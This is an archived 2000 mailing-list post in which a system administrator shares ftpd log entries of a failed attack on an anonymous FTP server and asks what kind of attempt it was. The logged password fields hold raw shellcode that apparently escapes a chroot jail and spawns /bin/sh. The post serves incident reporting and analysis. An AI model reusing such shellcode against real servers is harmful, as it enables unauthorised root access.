Security Incidents mailing list archives

Log of attempted exploit


From: Raistlin <raist () CTRADE IT>
Date: Fri, 10 Nov 2000 20:11:53 +0100

It didn't succeed, but I'm curious in regard of which kind of attempt was
this.

Hoping it can be of any help:

Nov  6 15:57:36 [hostname] ftpd[13728]: ANONYMOUS FTP LOGIN FROM
sms.shopus.net [194.100.6.100],



1À1Û1É°FÍ?1À1ÛC?ÙA°?Í?ëk^1À1ɍ^^A^F^Df¹ÿ^A°'Í?1À^^A°=Í?1À1ۍ^^H?C
^B1ÉþÉ1À^^H°^LÍ?þÉuó1À^F^I^^H°=Í?þ^N°0þÈ^F^D1À^F^G?v^H?F^L?óN^HV^L°^KÍ?1
À1Û°^AÍ?èÿÿÿ0bin0sh1..11
Nov  6 15:57:46 [hostname] ftpd[13735]: ANONYMOUS FTP LOGIN FROM
sms.shopus.net [194.100.6.100],




1À1Û1É°FÍ?1À1ÛC?ÙA°?Í?ëk^1À1ɍ^^A
^F^Df¹ÿ^A°'Í?1À^^A°=Í?1À1ۍ^^H?C^B1ÉþÉ1À^^H°^LÍ?þÉuó1À^F^I^^H°=Í?þ^N°0þÈ^
F^D1À^F^G?v^H?F^L?óN^HV^L°^KÍ?1À1Û°^AÍ?èÿÿÿ0bin0sh1..11

Where [hostname] stands for the local machine, obviously.

Stefano "Raistlin" Zanero
public PGP key block at http://gioco.net/pgpkeys


Current thread: